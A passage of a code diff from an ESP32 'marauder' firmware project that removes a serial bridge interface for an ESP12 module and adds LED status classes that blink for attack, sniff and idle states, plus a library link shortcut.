-    display_obj.tft.setTextColor(TFT_WHITE);
-  #endif
-}
-
-void EspInterface::bootProgramMode() {
-  Serial.println("[!] Setting ESP12 in program mode...");
-  digitalWrite(ESP_ZERO, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, HIGH);
-  delay(100);
-  digitalWrite(ESP_ZERO, HIGH);
-  Serial.println("[!] Complete");
-  Serial.end();
-  Serial.begin(57600);
-}
-
-void EspInterface::bootRunMode() {
-  Serial.end();
-  Serial.begin(115200);
-  Serial.println("[!] Setting ESP12 in run mode...");
-  digitalWrite(ESP_ZERO, HIGH);
-  delay(100);
-  digitalWrite(ESP_RST, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, HIGH);
-  delay(100);
-  digitalWrite(ESP_ZERO, HIGH);
-  Serial.println("[!] Complete");
-}
-
-void EspInterface::program() {
-  if (MySerial.available()) {
-    Serial.write((uint8_t)MySerial.read());
-  }
-
-  if (Serial.available()) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.print(".");
-    #endif
-    while (Serial.available()) {
-      MySerial.write((uint8_t)Serial.read());
-    }
-  }
-}
-
-void EspInterface::main(uint32_t current_time) {
-  if (current_time - this->initTime >= 1000) {
-    this->initTime = millis();
-    //MySerial.write("PING");
-  }
-  
-  while (MySerial.available()) {
-    Serial.print((char)MySerial.read());
-  }
-
-  if (Serial.available()) {
-    MySerial.write((uint8_t)Serial.read());
-  }
-}

+ 0 - 35
esp32cam_marauder/esp_interface.h

@@ -1,35 +0,0 @@
-#ifndef esp_interface_h
-#define esp_interface_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-
-#include <HardwareSerial.h>
-
-#define ESP_RST  14
-#define ESP_ZERO 13
-#define BAUD     115200
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-class EspInterface {
-  public:
-    bool supported = false;
-
-    uint32_t initTime;
-
-    void RunUpdate();
-    void bootProgramMode();
-    void bootRunMode();
-    void begin();
-
-    void program();
-    void main(uint32_t current_time);
-};
-
-#endif

+ 3 - 0
esp32cam_marauder/flipperLED.cpp

@@ -68,3 +68,6 @@ void flipperLED::offLED() {
   digitalWrite(G_PIN, HIGH);
   digitalWrite(G_PIN, HIGH);
   digitalWrite(R_PIN, HIGH);
   digitalWrite(R_PIN, HIGH);
 }
 }
+void flipperLED::main() {
+  // do nothing
+}

+ 1 - 0
esp32cam_marauder/flipperLED.h

@@ -16,6 +16,7 @@ class flipperLED {
 
 
   public:
   public:
     void RunSetup();
     void RunSetup();
+    void main();
     void attackLED();
     void attackLED();
     void sniffLED();
     void sniffLED();
     void offLED();
     void offLED();

+ 2 - 0
esp32cam_marauder/libraries/GitHub - stevemarple-MicroNMEA- A compact Arduino library to parse NMEA sentences-.url

@@ -0,0 +1,2 @@
+[InternetShortcut]
+URL=https://github.com/stevemarple/MicroNMEA

+ 53 - 0
esp32cam_marauder/xiaoLED.cpp

@@ -0,0 +1,53 @@
+#include "xiaoLED.h"
+
+void xiaoLED::RunSetup() {
+    pinMode(XIAO_LED_PIN, OUTPUT);
+
+if (!settings_obj.loadSetting<bool>("EnableLED")) {
+    digitalWrite(XIAO_LED_PIN, HIGH);
+    return;
+}
+
+delay(50);
+
+  digitalWrite(XIAO_LED_PIN, LOW);
+  delay(500);
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(250);
+  digitalWrite(XIAO_LED_PIN, LOW);
+  delay(500);
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(250);
+  digitalWrite(XIAO_LED_PIN, LOW);
+  delay(500);
+  digitalWrite(XIAO_LED_PIN, HIGH);
+}
+
+void xiaoLED::attackLED() {
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(300);
+  digitalWrite(XIAO_LED_PIN, LOW);
+}
+
+void xiaoLED::sniffLED() {
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(300);
+  digitalWrite(XIAO_LED_PIN, LOW);
+}
+
+void xiaoLED::offLED() {
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(XIAO_LED_PIN, HIGH);
+}
+
+void xiaoLED::main() {
+  // do nothing
+}

+ 23 - 0
esp32cam_marauder/xiaoLED.h

@@ -0,0 +1,23 @@
+#ifndef xiaoLED_H
+#define xiaoLED_H
+
+#include "configs.h"
+#include "settings.h"
+
+#include <Arduino.h>
+
+#define XIAO_LED_PIN 21
+
+extern Settings settings_obj;
+
+class xiaoLED {
+
+    public:
+        void RunSetup();
+        void main();
+        void attackLED();
+        void sniffLED();
+        void offLED();
+};
+
+#endif  /* xiaoLED_H */

برخی فایل ها در این مقایسه diff نمایش داده نمی شوند زیرا تعداد فایل ها بسیار زیاد است